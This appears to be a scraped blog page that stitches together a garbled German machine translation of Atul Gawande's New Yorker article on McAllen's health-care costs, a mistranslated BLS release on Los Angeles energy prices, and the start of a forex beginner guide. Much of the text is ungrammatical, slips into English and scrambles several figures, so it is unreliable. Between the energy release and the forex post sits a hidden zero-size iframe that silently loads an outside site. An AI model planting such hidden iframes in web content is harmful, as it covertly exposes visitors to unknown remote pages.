Meinungen von einem Unrelenting Conservative Spirit. Er hatte das Krankenhaus gefunden. Er begrüßte mich kaum, und während die anderen sich um eine Wie-ich-Ich-Sie-heute-Einstellung bemühten, war seine Körpersprache mehr Lets-get-this-over-mit. Also fragte ich ihn, warum McAllens Gesundheitskosten so hoch waren. Was er gab mir eine Abhandlung über die Theorie und Geschichte der amerikanischen Gesundheitsversorgung Finanzierung zurück zu Lyndon Johnson und die Schaffung von Medicare, dessen Ergebnis war: (1) Regierung ist das Problem im Gesundheitswesen. Die Leute, die für die Geldbeutel-Schnüre verantwortlich sind, wissen nicht, was theyre tun. (2) Wenn alles, Regierung Versicherungsprogramme wie Medicare nicht genug bezahlen. Ich, als Anästhesist, weiß, dass sie mir zehn Prozent von dem zahlen, was ein Privatversicherer zahlt. (3) Regierungsprogramme sind voller Abfälle. Jeder Mensch in diesem Raum könnte leicht durch die Ausgaben von Medicare und Medicaid gehen und sehen alle Arten von Abfällen. (4) Aber nicht in McAllen. Die Kliniker hier, zumindest bei Doctors Hospital in der Renaissance, sind die notwendige, wesentliche Gesundheitsversorgung, Gelman sagte. Wir erfinden nicht Patienten. Dann warum Krankenhäusern in McAllen so viel mehr Chirurgie und Scans und Tests als Krankenhäuser in El Paso und anderswo am Ende, die einzige Erklärung, die er und seine Kollegen anbieten konnte, war dies: Die anderen Ärzte und Krankenhäuser in McAllen Mai werden Mehrausgaben, aber , In dem Ausmaß, dass sein Krankenhaus bietet teurer Behandlung als andere Orte im Land, macht es die Menschen besser in einer Weise, dass die Daten über Qualität und Ergebnisse nicht zu messen. Haben wir eine bessere Gesundheitsversorgung, als El Paso Gelman gefragt. Ich wette, Sie zwei zu eins, dass wir tun. Es war eine deprimierende Konversation nicht, weil ich dachte, die Führungskräfte wurden ausweichend, sondern weil sie werent ausweichend. Die Daten zu McAllens Kosten waren eindeutig für sie. Sie verteidigten McAllen reflexiv. Aber sie wussten wirklich nicht, das große Bild von dem, was geschah. Und ich erkannte, dass nur wenige Menschen in ihrer Position zu tun. Lokale Führungskräfte für Krankenhäuser und Kliniken und Home-Health-Agenturen verstehen ihre Wachstumsrate und ihre Marktanteile wissen sie, ob sie Geld verlieren oder Geld verdienen. Sie wissen, dass, wenn ihre Ärzte in genügend Business-Chirurgie, Bildgebung, häusliche Pflege Verweis bringen sie Geld verdienen und wenn sie die Ärzte in mehr zu bringen, machen sie mehr. Aber sie haben nur die vage Vorstellung davon, ob die Ärzte ihre Gemeinschaften so gesund machen, wie sie können, oder ob sie mehr oder weniger effizient sind als ihre Kollegen anderswo. Ein Arzt sieht einen Patienten in der Klinik und hat ihren Check in ein McAllen-Krankenhaus für einen CT-Scan, einen Ultraschall, drei Runden Blutuntersuchungen, einen weiteren Ultraschall, und dann Chirurgie, um ihre Gallenblase entfernt haben. Wie ist Lawrence Gelman oder Gilda Romero zu wissen, ob alles, was notwendig ist, geschweige denn die bestmögliche Behandlung für den Patienten Es ist nicht das, was sie verantwortlich sind oder verantwortlich für. Gesundheitskosten entstehen letztlich aus der Akkumulation von individuellen Entscheidungen, die Ärzte machen, welche Dienstleistungen und Behandlungen eine Bestellung zu schreiben. Das teuerste Stück medizinische Ausrüstung, wie das Sprichwort sagt, ist eine Ärztin. Und in der Regel, Krankenhaus Führungskräfte nicht die Pen Caps besitzen. Ärzte tun. Hey, Sisyphus, wenn Sie eine Minute Id bekommen mögen, diesen Fortschrittsbericht mit Ihnen zu besprechen. Wenn Ärzte die Feder führen, warum tun sie es so unterschiedlich von einem Platz zum anderen Brenda Sirovich, ein anderer Dartmouth Forscher, veröffentlichte eine Studie letztes Jahr, das einen wichtigen Anhaltspunkt lieferte. Sie und ihr Team befragten rund achthundert medizinische Primärkrankenhäuser aus hochpreisigen Städten (wie Las Vegas und New York), Billigstädte (wie Sacramento und Boise) und andere dazwischen. Die Forscher fragten die Ärzte speziell, wie sie eine Vielzahl von Patienten Fällen behandeln würde. Es stellte sich heraus, dass Unterschiede in der Entscheidungsfindung entstanden in nur einigen Arten von Fällen. In Situationen, in denen das richtige zu tun war, zum Beispiel gut etabliert, ob eine Mammographie für eine 50-jährige Frau empfehlen (die Antwort ist ja) Ärzte in der High-und Low-Cost-Städte die gleichen Entscheidungen. Aber in Fällen, in denen die Wissenschaft war unklar, verfolgten einige Ärzte die maximal mögliche Menge an Tests und Verfahren einige verfolgt das Minimum. Und welche Art von Arzt waren sie davon abhängig, woher sie kamen. Sirovich fragte Ärzte, wie sie behandeln würde eine fünfundsiebzig Jahre alte Frau mit typischen Sodbrennen Symptome und ausreichende Krankenversicherung für Tests und Medikamente zu decken. Ärzte in Hoch-und Low-Cost-Städte wurden gleichermaßen wahrscheinlich zu verschreiben Antazida-Therapie und auf H. pylori, ein ulcer-verursachenden Bakterien-Stufen dringend empfohlen durch nationale Richtlinien zu überprüfen. Aber wenn es um Maßnahmen von weniger bestimmtem Wert und höheren Kosten kam, waren die Unterschiede beträchtlich. Mehr als siebzig Prozent der Ärzte in den hochpreisigen Städten nannten den Patienten zu einem Gastroenterologen, bestellten eine obere Endoskopie oder beide, während die Hälfte so viele in preisgünstigen Städten. Ärzte aus hochpreisigen Städten empfahlen in der Regel, dass Patienten mit einer gut kontrollierten Hypertonie alle drei bis drei Monate im Büro zu sehen sind, während die von den preisgünstigen Städten zweimal jährlich empfohlen werden. Im Falle eines ungewissen Falles war mehr nicht unbedingt besser. Aber die Ärzte aus den teuersten Städten taten die teuersten Dinge. Warum einige Unterschiede in der Ausbildung widerspiegeln könnten. Ich erinnere mich, als meine Frau unseren Säugling Sohn Walker brachte, um seine Großeltern in Virginia zu besuchen, und er nahm einen schrecklichen Fall unten eine Reihe von Treppen. Sie fuhren ihn zum örtlichen Krankenhaus in Alexandria. Ein CT-Scan zeigte, dass er eine kleine subdurale Hämatom kleinen Bereich der Blutungen im Gehirn hatte. Während zehn Stunden der Beobachtung, aber er war fein, zu trinken, ganz aufmerksam. Ich war eine Chirurgie Bewohner dann und hatte viele Fälle wie seine gesehen. Wir beobachteten jedes Kind in der Intensivstation für mindestens vierundzwanzig Stunden und erhielten einen Wiederholungs-CT-Scan. Das war, wie Id geschult wurde. Aber der Arzt in Alexandria wollte Walker nach Hause schicken. So wurde er trainiert. Angenommen, die Dinge ändern sich, je schlimmer ich ihn fragte. Seine extrem unwahrscheinlich, sagte er, und wenn etwas geändert Walker konnte immer wieder gebracht werden. Ich schikanierte den Arzt in die Zulassung ihn trotzdem. Am nächsten Tag waren der Scan und der Patient gut. Und in den Lehrbüchern sah ich, dass der Arzt recht hatte. Walker hätte sicherlich so oder so verwaltet werden können. Es gab jedoch kein Zeichen, dass McAllens Ärzte als Gruppe anders als El Pasos ausgebildet wurden. Eines Morgens traf ich mich mit einem Krankenhaus-Administrator, der umfangreiche Erfahrung in der Verwaltung von gemeinnützigen Krankenhäusern entlang der Grenze hatte. Er bot eine andere mögliche Erklärung: die Kultur des Geldes. In El Paso, wenn Sie einen zufälligen Arzt und sah auf seine Steuererklärungen achtzig-fünf Prozent seines Einkommens kommen aus der üblichen Praxis der Medizin, sagte er. Aber in McAllen, dachte der Administrator, dass Prozentsatz wäre viel weniger. Er wusste von Ärzten, die im Besitz von Einkaufszentren, Orangenhainen, Wohnkomplexen oder Imaging-Zentren, Chirurgiezentren oder einem anderen Teil des Krankenhauses waren, an das sie Patienten richteten. Sie hatten unternehmerischen Geist, sagte er. Sie waren innovativ und aggressiv bei der Suche nach Möglichkeiten, um Einnahmen aus der Patientenversorgung zu erhöhen. Theres kein Mangel an Arbeitsethik, sagte er. Aber er hatte oft finanzielle Überlegungen getrieben, die Entscheidungen der Ärzte für Patienten, die sie bestellt haben, die Ärzte und Krankenhäuser sie empfohlen und es störte ihn. Mehrere Ärzte, die unglücklich waren über die Richtung, die Medizin in McAllen genommen hatte, erzählten mir dasselbe. Es ist eine Maschine, mein Freund, ein Chirurg erklärt. Niemand lehrt, wie man über Geld in der medizinischen Schule oder Residency denken. Dennoch, von dem Moment an Sie üben, müssen Sie darüber nachdenken. Sie müssen prüfen, was für einen Patienten abgedeckt ist und was nicht. Sie müssen die Versicherung Ablehnungen und Regierungs-Erstattungsregeln beachten. Sie müssen darüber nachdenken, genug Geld für die Sekretärin und die Krankenschwester und die Miete und die Fehlverhalten Versicherung. Jenseits der Grundlagen jedoch sind viele Ärzte bemerkenswert unwichtig für die finanziellen Auswirkungen ihrer Entscheidungen. Sie sehen ihre Patienten. Sie machen ihre Empfehlungen. Sie senden die Rechnungen. Und solange die Zahlen am Ende eines jeden Monats erscheinen, setzen sie das Geld aus dem Kopf. Andere denken an das Geld als Mittel zur Verbesserung dessen, was sie tun. Sie denken darüber nach, wie das Versicherungsgeld zu verwenden, um möglicherweise elektronische Gesundheitsakten mit Kollegen installieren, oder leichter bieten Telefon-und E-Mail-Zugang oder bieten erweiterte Stunden. Sie mieten eine zusätzliche Krankenschwester, um diabetische Patienten näher zu überwachen, und um sicherzustellen, dass Patienten nicht verpassen ihre Mammogramme und Pap-Abstriche und Koloskopien. Dann gibt es die Ärzte, die ihre Praxis vor allem als Einnahmequelle zu sehen. Sie beauftragen ihre Sekretärin haben Patienten, die mit Follow-up-Fragen planen einen Termin, weil die Versicherer nicht bezahlen für Anrufe, nur Bürobesuche. Sie betrachten die Bereitstellung von Botox-Injektionen für Bargeld. Sie nehmen einen Doppler-Ultraschallkurs, kaufen eine Maschine und beginnen, ihre Patienten scannt sich selbst, so dass die Versicherungszahlungen an sie gehen, anstatt ins Krankenhaus. Sie ermitteln Wege, ihre Arbeit mit hohen Margen zu erhöhen und ihre margenschwache Arbeit zu verringern. Dies ist ein Geschäft, nachdem alle. In jeder Gemeinde finden Sie eine Mischung aus diesen Ansichten unter Ärzten, aber die eine oder andere neigt dazu, vorherrschen. McAllen scheint einfach nur die Community zu sein. In ein paar Fällen, sagte der Krankenhaus-Exekutive, hed sah das Verhalten überqueren, was schien wie augenblicklicher Betrug. Ive hatte Ärzte hier kommen zu mir und sagen, Sie wollen, dass ich Patienten zu Ihrem Krankenhaus zuzugeben, du wirst mich bezahlen müssen. 8220 Wie viel ich fragte. Die Beträge von ihnen waren mehr als hunderttausend Dollar pro Jahr, sagte er. Die Ärzte waren spezifisch. Er bat um fünfhunderttausend Dollar pro Jahr. Er zahlt keine von ihnen, sagte er: Ich meine, ich muss nachts schlafen. Und er betonte, dass diese nur eine Handvoll Ärzte waren. Aber er war nie nach einem Rückschlag gefragt worden, bevor er zu McAllen kam. Woody Powell ist ein Stanford-Soziologe, der die Wirtschaftskultur der Städte studiert. Vor kurzem studierte er und sein Forschungsteam, warum bestimmte RegionenBoston, San Francisco, San Diegobecame Führer in der Biotechnologie, während andere mit einer ähnlichen Konzentration der wissenschaftlichen und korporativen TalenteLos Angeles, Philadelphia, New Yorkdid nicht. Die Antwort, die sie fanden, war, was Powell als die Anker-Mieter-Theorie der wirtschaftlichen Entwicklung beschreibt. So wie ein Ankerspeicher den Charakter eines Einkaufszentrums bestimmt, die Anleger in der Biotechnologie verankert, sei es ein Unternehmen wie Genentech in South San Francisco oder eine Universität wie M. I.T. In Cambridge, definieren den Charakter einer Wirtschaftsgemeinschaft. Sie setzen die Normen. Die Anker-Mieter, die Normen zur Förderung des freien Flusses von Ideen und Zusammenarbeit, auch mit Konkurrenten, produziert dauerhaft erfolgreiche Gemeinden, während diejenigen, die vor allem zu dominieren wollte nicht. Powell suspects that anchor tenants play a similarly powerful community role in other areas of economics, too, and health care may be no exception. I spoke to a marketing rep for a McAllen home-health agency who told me of a process uncannily similar to what Powell found in biotech. Her job is to persuade doctors to use her agency rather than others. The competition is fierce. I opened the phone book and found seventeen pages of listings for home-health agenciestwo hundred and sixty in all. A patient typically brings in between twelve hundred and fifteen hundred dollars, and double that amount for specialized care. She described how, a decade or so ago, a few early agencies began rewarding doctors who ordered home visits with more than trinkets: they provided tickets to professional sporting events, jewelry, and other gifts. That set the tone. Other agencies jumped in. Some began paying doctors a supplemental salary, as medical directors, for steering business in their direction. Doctors came to expect a share of the revenue stream. Agencies that want to compete on quality struggle to remain in business, the rep said. Doctors have asked her for a medical-director salary of four or five thousand dollars a month in return for sending her business. One asked a colleague of hers for private-school tuition for his child another wanted sex. I explained the rules and regulations and the anti-kickback law, and told them no, she said of her dealings with such doctors. Does it hurt my business She paused. Im O. K. working only with ethical physicians, she finally said. About fifteen years ago, it seems, something began to change in McAllen. A few leaders of local institutions took profit growth to be a legitimate ethic in the practice of medicine. Not all the doctors accepted this. But they failed to discourage those who did. So here, along the banks of the Rio Grande, in the Square Dance Capital of the World, a medical community came to treat patients the way subprime-mortgage lenders treated home buyers: as profit centers. The real puzzle of American health care, I realized on the airplane home, is not why McAllen is different from El Paso. Its why El Paso isnt like McAllen. Every incentive in the system is an invitation to go the way McAllen has gone. Yet, across the country, large numbers of communities have managed to control their health costs rather than ratchet them up. I talked to Denis Cortese, the C. E.O. of the Mayo Clinic, which is among the highest-quality, lowest-cost health-care systems in the country. A couple of years ago, I spent several days there as a visiting surgeon. Among the things that stand out from that visit was how much time the doctors spent with patients. There was no churnno shuttling patients in and out of rooms while the doctor bounces from one to the other. I accompanied a colleague while he saw patients. Most of the patients, like those in my clinic, required about twenty minutes. But one patient had colon cancer and a number of other complex issues, including heart disease. The physician spent an hour with her, sorting things out. He phoned a cardiologist with a question. Ill be there, the cardiologist said. Fifteen minutes later, he was. They mulled over everything together. The cardiologist adjusted a medication, and said that no further testing was needed. He cleared the patient for surgery, and the operating room gave her a slot the next day. The whole interaction was astonishing to me. Just having the cardiologist pop down to see the patient with the surgeon would be unimaginable at my hospital. The time required wouldnt pay. The time required just to organize the system wouldnt pay. The core tenet of the Mayo Clinic is The needs of the patient come firstnot the convenience of the doctors, not their revenues. The doctors and nurses, and even the janitors, sat in meetings almost weekly, working on ideas to make the service and the care better, not to get more money out of patients. I asked Cortese how the Mayo Clinic made this possible. Its not easy, he said. But decades ago Mayo recognized that the first thing it needed to do was eliminate the financial barriers. It pooled all the money the doctors and the hospital system received and began paying everyone a salary, so that the doctors goal in patient care couldnt be increasing their income. Mayo promoted leaders who focussed first on what was best for patients, and then on how to make this financially possible. No one there actually intends to do fewer expensive scans and procedures than is done elsewhere in the country. The aim is to raise quality and to help doctors and other staff members work as a team. But, almost by happenstance, the result has been lower costs. When doctors put their heads together in a room, when they share expertise, you get more thinking and less testing, Cortese told me. Skeptics saw the Mayo model as a local phenomenon that wouldnt carry beyond the hay fields of northern Minnesota. But in 1986 the Mayo Clinic opened a campus in Florida, one of our most expensive states for health care, and, in 1987, another one in Arizona. It was difficult to recruit staff members who would accept a salary and the Mayos collaborative way of practicing. Leaders were working against the dominant medical culture and incentives. The expansion sites took at least a decade to get properly established. But eventually they achieved the same high-quality, low-cost results as Rochester. Indeed, Cortese says that the Florida site has become, in some respects, the most efficient one in the system. The Mayo Clinic is not an aberration. One of the lowest-cost markets in the country is Grand Junction, Colorado, a community of a hundred and twenty thousand that nonetheless has achieved some of Medicares highest quality-of-care scores. Michael Pramenko is a family physician and a local medical leader there. Unlike doctors at the Mayo Clinic, he told me, those in Grand Junction get piecework fees from insurers. But years ago the doctors agreed among themselves to a system that paid them a similar fee whether they saw Medicare, Medicaid, or private-insurance patients, so that there would be little incentive to cherry-pick patients. They also agreed, at the behest of the main health plan in town, an H. M.O. to meet regularly on small peer-review committees to go over their patient charts together. They focussed on rooting out problems like poor prevention practices, unnecessary back operations, and unusual hospital-complication rates. Problems went down. Quality went up. Then, in 2004, the doctors group and the local H. M.O. jointly created a regional information networka community-wide electronic-record system that shared office notes, test results, and hospital data for patients across the area. Again, problems went down. Quality went up. And costs ended up lower than just about anywhere else in the United States. Grand Junctions medical community was not following anyone elses recipe. But, like Mayo, it created what Elliott Fisher, of Dartmouth, calls an accountable-care organization. The leading doctors and the hospital system adopted measures to blunt harmful financial incentives, and they took collective responsibility for improving the sum total of patient care. This approach has been adopted in other places, too: the Geisinger Health System, in Danville, Pennsylvania the Marshfield Clinic, in Marshfield, Wisconsin Intermountain Healthcare, in Salt Lake City Kaiser Permanente, in Northern California. All of them function on similar principles. All are not-for-profit institutions. And all have produced enviably higher quality and lower costs than the average American town enjoys. When you look across the spectrum from Grand Junction to McAllenand the almost threefold difference in the costs of careyou come to realize that we are witnessing a battle for the soul of American medicine. Somewhere in the United States at this moment, a patient with chest pain, or a tumor, or a cough is seeing a doctor. And the damning question we have to ask is whether the doctor is set up to meet the needs of the patient, first and foremost, or to maximize revenue. There is no insurance system that will make the two aims match perfectly. But having a system that does so much to misalign them has proved disastrous. As economists have often pointed out, we pay doctors for quantity, not quality. As they point out less often, we also pay them as individuals, rather than as members of a team working together for their patients. Both practices have made for serious problems. Providing health care is like building a house. The task requires experts, expensive equipment and materials, and a huge amount of cordination. Imagine that, instead of paying a contractor to pull a team together and keep them on track, you paid an electrician for every outlet he recommends, a plumber for every faucet, and a carpenter for every cabinet. Would you be surprised if you got a house with a thousand outlets, faucets, and cabinets, at three times the cost you expected, and the whole thing fell apart a couple of years later Getting the countrys best electrician on the job (he trained at Harvard, somebody tells you) isnt going to solve this problem. Nor will changing the person who writes him the check. This last point is vital. Activists and policymakers spend an inordinate amount of time arguing about whether the solution to high medical costs is to have government or private insurance companies write the checks. Heres how this whole debate goes. Advocates of a public option say government financing would save the most money by having leaner administrative costs and forcing doctors and hospitals to take lower payments than they get from private insurance. Opponents say doctors would skimp, quit, or game the system, and make us wait in line for our care they maintain that private insurers are better at policing doctors. No, the skeptics say: all insurance companies do is reject applicants who need health care and stall on paying their bills. Then we have the economists who say that the people who should pay the doctors are the ones who use them. Have consumers pay with their own dollars, make sure that they have some skin in the game, and then theyll get the care they deserve. These arguments miss the main issue. When it comes to making care better and cheaper, changing who pays the doctor will make no more difference than changing who pays the electrician. The lesson of the high-quality, low-cost communities is that someone has to be accountable for the totality of care. Otherwise, you get a system that has no brakes. You get McAllen. One afternoon in McAllen, I rode down McColl Road with Lester Dyke, the cardiac surgeon, and we passed a series of office plazas that seemed to be nothing but home-health agencies, imaging centers, and medical-equipment stores. Medicine has become a pig trough here, he muttered. Dyke is among the few vocal critics of whats happened in McAllen. We took a wrong turn when doctors stopped being doctors and became businessmen, he said. We began talking about the various proposals being touted in Washington to fix the cost problem. I asked him whether expanding public-insurance programs like Medicare and shrinking the role of insurance companies would do the trick in McAllen. I dont have a problem with it, he said. But it wont make a difference. In McAllen, government payers already predominatenot many people have jobs with private insurance. How about doing the opposite and increasing the role of big insurance companies What good would that do Dyke asked. The third class of health-cost proposals, I explained, would push people to use medical savings accounts and hold high-deductible insurance policies: Theyd have more of their own money on the line, and thatd drive them to bargain with you and other surgeons, right He gave me a quizzical look. We tried to imagine the scenario. A cardiologist tells an elderly woman that she needs bypass surgery and has Dr. Dyke see her. They discuss the blockages in her heart, the operation, the risks. And now theyre supposed to haggle over the price as if he were selling a rug in a souk Ill do three vessels for thirty thousand, but if you take four Ill throw in an extra night in the I. C.U. that sort of thing Dyke shook his head. Who comes up with this stuff he asked. Any plan that relies on the sheep to negotiate with the wolves is doomed to failure. Instead, McAllen and other cities like it have to be weaned away from their untenably fragmented, quantity-driven systems of health care, step by step. And that will mean rewarding doctors and hospitals if they band together to form Grand Junction-like accountable-care organizations, in which doctors collaborate to increase prevention and the quality of care, while discouraging overtreatment, undertreatment, and sheer profiteering. Under one approach, insurerswhether public or privatewould allow clinicians who formed such organizations and met quality goals to keep half the savings they generate. Government could also shift regulatory burdens, and even malpractice liability, from the doctors to the organization. Other, sterner, approaches would penalize those who dont form these organizations. This will by necessity be an experiment. We will need to do in-depth research on what makes the best systems successfulthe peer-review committees recruiting more primary-care doctors and nurses putting doctors on salaryand disseminate what we learn. Congress has provided vital funding for research that compares the effectiveness of different treatments, and this should help reduce uncertainty about which treatments are best. But we also need to fund research that compares the effectiveness of different systems of careto reduce our uncertainty about which systems work best for communities. These are empirical, not ideological, questions. And we would do well to form a national institute for health-care delivery, bringing together clinicians, hospitals, insurers, employers, and citizens to assess, regularly, the quality and the cost of our care, review the strategies that produce good results, and make clear recommendations for local systems. Dramatic improvements and savings will take at least a decade. But a choice must be made. Whom do we want in charge of managing the full complexity of medical care We can turn to insurers (whether public or private), which have proved repeatedly that they cant do it. Or we can turn to the local medical communities, which have proved that they can. But we have to choose someonebecause, in much of the country, no one is in charge. And the result is the most wasteful and the least sustainable health-care system in the world. Something even more worrisome is going on as well. In the war over the culture of medicinethe war over whether our countrys anchor model will be Mayo or McAllenthe Mayo model is losing. In the sharpest economic downturn that our health system has faced in half a century, many people in medicine dont see why they should do the hard work of organizing themselves in ways that reduce waste and improve quality if it means sacrificing revenue. In El Paso, the for-profit health-care executive told me, a few leading physicians recently followed McAllens lead and opened their own centers for surgery and imaging. When I was in Tulsa a few months ago, a fellow-surgeon explained how he had made up for lost revenue by shifting his operations for well-insured patients to a specialty hospital that he partially owned while keeping his poor and uninsured patients at a nonprofit hospital in town. Even in Grand Junction, Michael Pramenko told me, some of the doctors are beginning to complain about leaving money on the table.8217 8220 As America struggles to extend health-care coverage while curbing health-care costs, we face a decision that is more important than whether we have a public-insurance option, more important than whether we will have a single-payer system in the long run or a mixture of public and private insurance, as we do now. The decision is whether we are going to reward the leaders who are trying to build a new generation of Mayos and Grand Junctions. If we dont, McAllen wont be an outlier. It will be our future. Atul Gawande, a surgeon and public-health researcher, became a New Yorker staff writer in 1998.Western Information Office Average Energy Prices, Los Angeles-Riverside-Orange County November 2016 Gasoline prices averaged 2.772 a gallon in the Los Angeles-Riverside-Orange County area in November 2016, the U. S. Bureau of Labor Statistics reported today. 160Assistant Kommissar für regionale Operationen Richard Holden stellte fest, dass Bereich Benzinpreise waren 7,8 Cents weniger als im letzten November, wenn sie durchschnittlich 2,850 pro Gallone. Im November 2016 bezahlten die Los Angeles-Gebietshaushalte im November 2016 durchschnittlich 19,0 Cent pro Kilowattstunde (kWh) Strom, weniger als die im November 2015 gezahlten 21,3 Cent pro kWh. Die durchschnittlichen Betriebskosten (Pipeline) betrugen im November 1,208 Mehr als die 1,104 pro Wärme verbrachte im letzten Jahr. (Daten in dieser Version sind nicht saisonbereinigt entsprechend, wird über-die-Jahres-Analyse im gesamten verwendet.) 160 Bei 2.772 eine Gallone, Los Angeles Bereich Verbraucher 234 Prozent mehr gezahlt als die 2.246 nationalen Durchschnitt im November 2016. Ein Jahr zuvor, Verbraucher in der Gegend von Los Angeles 26,7 Prozent mehr als der nationale Durchschnitt für eine Gallone Benzin. Der lokale Preis für eine Gallone Benzin reichte von 8,2 bis 26,7 Prozent über dem nationalen Durchschnitt im Monat November während der letzten fünf Jahre. (Siehe Grafik 1) Die 19,0 Cent pro kWh Die im November 2016 für Elektrizität gezahlten Los Angeles-Haushalte waren 45,0 Prozent mehr als der bundesweite Durchschnitt von 13,1 Cent pro kWh. Im vergangenen November stiegen die Stromkosten in Los Angeles im Vergleich zur Nation um 59,0 Prozent. In den vergangenen fünf Jahren überstiegen die Preise der Verbraucher in Los Angeles für Strom den US-Durchschnitt im Monat November um 45,0 Prozent oder mehr. (Siehe Grafik 2). Die von den Los Angeles-Gebietskonsumenten für Erdgas gezahlten Preise betrugen 1,208 pro Thermo oder 24,5 Prozent mehr als im November 2016 (0,970 pro Therm). Ein Jahr zuvor bezahlten die Flächenverbraucher im Vergleich zur Nation 22,3 Prozent mehr Wärme pro Erdgas. Im Los Angeles-Gebiet in den vergangenen fünf Jahren hat sich der Wärmepreis für Erdgas im November zwischen 0,1 und 24,5 Prozent über dem U. S.-Durchschnitt verändert. Das Los Angeles-Riverside-Orange County, Kalifornien, besteht aus Los Angeles, Orange, Riverside, San Bernardino und Ventura Counties in Kalifornien. Technische Anmerkung Die Durchschnittspreise werden aus CPI-Daten (Consumer Price Index) für ausgewählte Rohstoffserie geschätzt, um die Forschungs - und analytischen Bedürfnisse von CPI-Datenbenutzern zu unterstützen. Die durchschnittlichen Preise für Strom, Versorgungsunternehmen (Pipeline) - Gas und Benzin werden monatlich für den US-Stadtdurchschnitt, die 4 Regionen, die 3 Populationsgrößenklassen, 10 regionale Klassenklassen und die 14 größten lokalen Indexbereiche veröffentlicht. Für Strom werden Durchschnittspreise pro Kilowattstunde (kWh) veröffentlicht. Für Nutz - (Rohr-) Gas werden die Durchschnittspreise pro therm veröffentlicht. Für Benzin wird der durchschnittliche Preis pro Gallone veröffentlicht. Durchschnittliche Preise für allgemein verfügbare Typen von Benzin werden ebenso veröffentlicht wie der Durchschnittspreis für alle Sorten. Alle förderfähigen Preise werden zu einem Preis pro normalisierter Menge umgerechnet. Diese Preise werden dann verwendet, um einen Preis für eine definierte feste Menge zu schätzen. Der Durchschnittspreis pro Kilowattstunde entspricht der Gesamtrechnung dividiert durch die Kilowattstunde. Die Gesamtsumme ist die Summe aller Elemente, die für alle Verbraucher gelten, die auf einer Stromrechnung erscheinen, einschließlich aber nicht beschränkt auf variable Tarife pro kWh, Fixkosten, Steuern, Zuschläge und Gutschriften. Diese Berechnung gilt auch für den Durchschnittspreis pro therm für Nutzgas (Pipeline). Informationen in dieser Pressemitteilung werden sensorisch beeinträchtigten Personen auf Anfrage zur Verfügung gestellt. Sprachtelefon: 202-691-5200 Bundesrelais-Service: 800-877-8339. Table 1. Average prices for gasoline, electricity, and utility (piped) gas, Los Angeles-Riverside-Orange County and the United States, November 2015-November 2016, not seasonally adjusted Gasoline per gallon Electricity per kWh</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-38089777773988796762017-08-07T03:15:00.000-07:002017-08-07T03:15:03.849-07:00Forex Führer<p>Making and Losing Money Wie Menschen machen oder verlieren Geld Doing It: Durch die Umwandlung Ihr Geld in eine andere Währung, Sie sind der Hoffnung, dass die neue Währung im Wert erhöht. Wenn Sie zurück in Ihre ursprüngliche Währung zu konvertieren, haben Sie im Idealfall mehr Geld, als Sie mit begonnen haben. Lassen Sie uns einen Blick auf ein einfaches Beispiel, wie jemand Geld von einem Forex-Transaktion machen können. Angenommen, Sie haben 900 US-Dollar und Sie tauschen das für 1000 kanadische Dollar aus. Eine Woche später steigt der CADUSD-Wechselkurs von 0,90 auf 1,0, so dass der kanadische Dolar, den Sie besitzen, im Wert im Vergleich zum US-Dollar gestiegen ist. Sie könnten dann tauschen die 1000 CAD haben Sie wieder in US-Dollar und Sie erhalten 1000 USD. So begann man mit 900 USD, Sie haben jetzt 1000 USD, einen Gewinn von 100 USD. Sie kaufen 1.000 CAD bei der CADUSD-Rate von 0.90 Eine Woche später steigt die CADUSD auf 1,00 und Sie tauschen Ihre 1000 CAD zurück in US-Dollar Kämpfen, um ein Verständnis für Wechselkurse Here039s zu bekommen, was Sie wissen müssen. Wenn Sie Währungen austauschen, Heres, wie Sie sicherstellen, dass Sie immer Top-Wert auf den Handel. Es gibt einzigartige Vorteile für das Leben sowohl über und unter dem 49. Parallel. Finden Sie heraus, welche dieser großen Nationen am besten zu Ihrem Wertesystem passt. Nehmen Sie diese Tipps zu Herzen, um zu vermeiden, Geld zu verschwenden, wenn Sie Währungen austauschen. Verstehen, wie Wechselkurse berechnet werden und Shopping rund um die besten Preise können die Auswirkungen der breiten Spreads in der Retail-Forex-Markt zu mildern. Lernen Sie, um Struktur Ihrer Trading-Methoden mit diesen sechs wichtigen Schritte hinzufügen. Forex Trading: Ein Beginner039s Guide Forex ist kurz für Devisen. Aber die tatsächliche Anlagenklasse, auf die wir uns beziehen, ist Währungen. Devisen ist der Akt der Änderung einer countrys Währung in eine andere countrys Währung für eine Vielzahl von Gründen, normalerweise für Tourismus oder Handel. Aufgrund der Tatsache, dass das Geschäft global ist, besteht die Notwendigkeit, mit den meisten anderen Ländern in ihrer eigenen Währung zu handeln. Nach dem Übereinkommen von Bretton Woods im Jahr 1971, als die Währungen frei schwimmen durften, variierten die Werte der einzelnen Währungen, was die Notwendigkeit von Devisengeschäften zur Folge hatte. Diese Dienstleistung wurde von den Handels - und Investmentbanken im Auftrag ihrer Kunden aufgenommen und gleichzeitig ein spekulatives Umfeld für den Handel einer Währung gegen eine andere im Internet geschaffen. (Wenn Sie mit dem Forex-Handel beginnen wollen, suchen Sie nach Forex-Grundlagen: Einrichten eines Kontos.) TUTORIAL: Anfängerhandbuch für MetaTrader 4 Handelsunternehmen, die im Ausland tätig sind, sind aufgrund der Schwankung des Währungswertes gefährdet Waren oder Dienstleistungen von einem anderen Land zu kaufen oder zu verkaufen. Daher bieten die Devisenmärkte eine Möglichkeit zur Absicherung des Risikos durch Festlegung eines Zinssatzes, zu dem die Transaktion irgendwann in der Zukunft abgeschlossen werden soll. Um dies zu erreichen, kann ein Händler Währungen kaufen oder verkaufen in den Vorwärts-oder Swap-Märkte, zu welcher Zeit die Bank wird in einer Rate zu sperren, so dass der Händler weiß genau, was der Wechselkurs sein wird und damit das Risiko ihrer Gesellschaft. Bis zu einem gewissen Grad kann der Futures-Markt auch ein Mittel zur Absicherung eines Währungsrisikos in Abhängigkeit von der Größe des Handels und der tatsächlichen Währung. Der Futures-Markt wird in einer zentralen Börse geführt und ist weniger liquide als die Devisenmärkte, die dezentral und innerhalb des Interbank-Systems in der ganzen Welt existieren. (Für einen neuen Weg, um Ihre Währung zu sichern, lesen Sie Hedge Against Wechselkursrisiko mit Währung ETFs) Forex als Spekulation Da gibt es eine konstante Fluktuation zwischen den Währungswerten der verschiedenen Länder aufgrund variierender Angebot und Nachfrage Faktoren, wie z , Handelsströme, Tourismus, ökonomische Stärke, geopolitisches Risiko und so weiter gibt es eine Chance, gegen diese veränderten Werte zu wetten, indem man eine Währung gegen einen anderen kauft oder verkauft, in der Hoffnung, dass die Währung, die Sie 